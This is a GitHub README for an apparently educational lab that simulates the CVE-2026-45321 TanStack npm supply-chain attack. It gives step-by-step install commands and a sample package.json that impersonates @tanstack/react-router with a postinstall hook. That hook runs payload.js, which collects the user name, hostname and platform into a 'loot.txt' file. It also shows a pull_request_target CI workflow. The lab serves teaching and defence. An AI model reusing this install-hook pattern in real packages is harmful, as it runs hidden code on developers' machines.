7whyex/CVE-2026-45321-Tanstack
GitHub: 7whyex/CVE-2026-45321-Tanstack
一个用于模拟 CVE-2026-45321 TanStack npm 供应链攻击的安全教育实验室,演示恶意 npm 包通过 postinstall 脚本实现安装时代码执行的完整过程。
Stars: 0 | Forks: 0
# 供应链攻击模拟 — CVE-2026-45321 (TanStack)
## 免责声明
本项目仅用于:
* 网络安全学习,
* 防御性安全研究,
* 本地实验室模拟,
* 理解供应链攻击概念。
请勿将本项目用于:
* 攻击真实系统,
* 窃取凭证,
* 恶意软件部署,
* 未经授权的访问,
* 或任何其他非法活动。
# 描述
本实验室模拟了以下事件的基本概念:
* CVE-2026-45321
* TanStack npm 供应链攻击
* GitHub Actions CI/CD 滥用
* npm 生命周期脚本执行
模拟在本地安全进行,不包含:
* 真实的凭证窃取,
* token 泄露,
* 或破坏第三方服务。
# 实验室结构
```
lab/
├── fake-repo/ # Simulasi repository target
├── attacker-package/ # Simulasi package malicious
└── victim-project/ # Simulasi korban
```
# 模拟工作原理
```
Attacker Package
↓
npm install
↓
postinstall script berjalan
↓
payload.js dieksekusi otomatis
↓
Korban terkena install-time execution
```
# 学习概念
* npm lifecycle hooks
* install-time arbitrary code execution
* supply chain attack
* CI/CD trust boundary
* malicious npm package
* postinstall abuse
* dependency compromise
# 安装说明
## 1. 克隆仓库
```
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
```
# 设置攻击者包
## 2. 进入攻击者包文件夹
```
cd attacker-package
```
## 3. 安装依赖
```
npm install
```
## 4. 构建 Tarball 包
```
npm pack
```
结果:
```
tanstack-react-router-1.169.5.tgz
```
# 受害者模拟
## 5. 进入受害者项目
```
cd ../victim-project
```
## 6. 安装恶意软件包
```
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
```
# 输出
如果成功,将会显示:
```
=== MALICIOUS PAYLOAD EXECUTED ===
```
并且文件:
```
loot.txt
```
将被自动创建。
# payload.js 示例
```
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
```
# package.json 示例
```
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
```
# CI/CD 模拟
本项目也可用于理解:
* GitHub Actions
* pull_request_target
* CI/CD privilege boundary
* dependency execution
工作流示例:
```
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
```
# 与 CVE-2026-45321 的关系
| 实验室模拟 | 真实世界 |
| ---------------- | ----------------------------- |
| attacker-package | 受感染的 TanStack package |
| payload.js | 恶意安装程序 |
| postinstall | lifecycle hook 滥用 |
| victim-project | 受害者开发者/CI |
| fake-repo | GitHub Actions pipeline |
# 参考
* https://nvd.nist.gov/vuln/detail/CVE-2026-45321
* https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
* https://docs.npmjs.com/cli/v10/using-npm/scripts
* https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
# 仅用于教育目的
创建此实验室旨在提高对以下方面的认识:
* 供应链安全,
* 依赖项安全,
* CI/CD 安全,
* 以及防御性安全研究。
标签:MITM代理, 数据可视化, 暗色界面, 自定义脚本